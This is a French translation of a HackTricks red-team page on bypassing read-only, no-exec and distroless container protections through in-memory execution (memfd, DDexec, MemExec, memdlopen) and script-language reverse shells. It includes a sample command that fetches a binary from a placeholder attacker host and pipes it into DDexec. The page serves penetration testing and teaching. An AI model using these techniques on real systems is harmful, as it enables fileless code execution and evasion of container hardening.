mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00

Translator 3c13a2b5a5 Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

2024-09-23 23:33:08 +00:00

11 KiB

Raw Blame History

Bypass FS protections: read-only / no-exec / Distroless

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Consultez les plans d'abonnement !
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

{% endhint %}

Si vous êtes intéressé par une carrière de hacking et par le fait de hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).

{% embed url="https://www.stmcyber.com/careers" %}

Vidéos

Dans les vidéos suivantes, vous pouvez trouver les techniques mentionnées sur cette page expliquées plus en profondeur :

scénario read-only / no-exec

Il est de plus en plus courant de trouver des machines linux montées avec une protection du système de fichiers en lecture seule (ro), en particulier dans les conteneurs. Cela est dû au fait qu'exécuter un conteneur avec un système de fichiers ro est aussi simple que de définir readOnlyRootFilesystem: true dans le securitycontext :

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Cependant, même si le système de fichiers est monté en tant que ro, /dev/shm sera toujours inscriptible, donc c'est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera monté avec une protection no-exec, donc si vous téléchargez un binaire ici, vous ne pourrez pas l'exécuter.

{% hint style="warning" %} D'un point de vue red team, cela rend compliqué de télécharger et d'exécuter des binaires qui ne sont pas déjà dans le système (comme des portes dérobées ou des énumérateurs comme kubectl). {% endhint %}

Contournement le plus simple : Scripts

Notez que j'ai mentionné des binaires, vous pouvez exécuter n'importe quel script tant que l'interpréteur est présent dans la machine, comme un script shell si sh est présent ou un script python si python est installé.

Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires que vous pourriez avoir besoin d'exécuter.

Contournements en mémoire

Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, le meilleur moyen de le faire est de l'exécuter depuis la mémoire, car les protections ne s'appliquent pas là.

Contournement FD + syscall exec

Si vous avez des moteurs de script puissants dans la machine, tels que Python, Perl ou Ruby, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier mémoire (create_memfd syscall), qui ne sera pas protégé par ces protections, puis appeler un syscall exec en indiquant le fd comme fichier à exécuter.

Pour cela, vous pouvez facilement utiliser le projet fileless-elf-exec. Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le binaire compressé et b64 encodé avec les instructions pour le décoder et le décompresser dans un fd créé en appelant le syscall create_memfd et un appel au syscall exec pour l'exécuter.

{% hint style="warning" %} Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de méthode par défaut pour appeler des syscalls bruts depuis un script, donc il n'est pas possible d'appeler create_memfd pour créer le fd mémoire pour stocker le binaire.

De plus, créer un fd régulier avec un fichier dans /dev/shm ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de l'application de la protection no-exec. {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec est une technique qui vous permet de modifier la mémoire de votre propre processus en écrasant son /proc/self/mem.

Ainsi, en contrôlant le code assembleur qui est exécuté par le processus, vous pouvez écrire un shellcode et "muter" le processus pour exécuter n'importe quel code arbitraire.

{% hint style="success" %} DDexec / EverythingExec vous permettra de charger et d'exécuter votre propre shellcode ou n'importe quel binaire depuis la mémoire. {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Pour plus d'informations sur cette technique, consultez le Github ou :

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexec est la prochaine étape naturelle de DDexec. C'est un DDexec shellcode démonisé, donc chaque fois que vous souhaitez exécuter un binaire différent, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite communiquer avec ce démon pour passer de nouveaux binaires à charger et exécuter.

Vous pouvez trouver un exemple sur comment utiliser memexec pour exécuter des binaires depuis un shell PHP inversé dans https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Avec un objectif similaire à DDexec, la technique memdlopen permet une manière plus facile de charger des binaires en mémoire pour les exécuter plus tard. Cela pourrait même permettre de charger des binaires avec des dépendances.

Bypass Distroless

Qu'est-ce que distroless

Les conteneurs distroless contiennent uniquement les composants minimaux nécessaires pour exécuter une application ou un service spécifique, tels que des bibliothèques et des dépendances d'exécution, mais excluent des composants plus volumineux comme un gestionnaire de paquets, un shell ou des utilitaires système.

L'objectif des conteneurs distroless est de réduire la surface d'attaque des conteneurs en éliminant les composants inutiles et en minimisant le nombre de vulnérabilités pouvant être exploitées.

Reverse Shell

Dans un conteneur distroless, vous pourriez même ne pas trouver sh ou bash pour obtenir un shell régulier. Vous ne trouverez également pas de binaires tels que ls, whoami, id... tout ce que vous exécutez habituellement dans un système.

{% hint style="warning" %} Par conséquent, vous ne pourrez pas obtenir un reverse shell ou énumérer le système comme vous le faites habituellement. {% endhint %}

Cependant, si le conteneur compromis exécute par exemple un web flask, alors python est installé, et donc vous pouvez obtenir un reverse shell Python. S'il exécute node, vous pouvez obtenir un shell rev Node, et c'est la même chose avec presque n'importe quel langage de script.

{% hint style="success" %} En utilisant le langage de script, vous pourriez énumérer le système en utilisant les capacités du langage. {% endhint %}

S'il n'y a pas de protections read-only/no-exec, vous pourriez abuser de votre reverse shell pour écrire dans le système de fichiers vos binaires et les exécuter.

{% hint style="success" %} Cependant, dans ce type de conteneurs, ces protections existeront généralement, mais vous pourriez utiliser les techniques d'exécution en mémoire précédentes pour les contourner. {% endhint %}

Vous pouvez trouver des exemples sur comment exploiter certaines vulnérabilités RCE pour obtenir des reverse shells de langages de script et exécuter des binaires depuis la mémoire dans https://github.com/carlospolop/DistrolessRCE.

Si vous êtes intéressé par une carrière en hacking et par le fait de hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).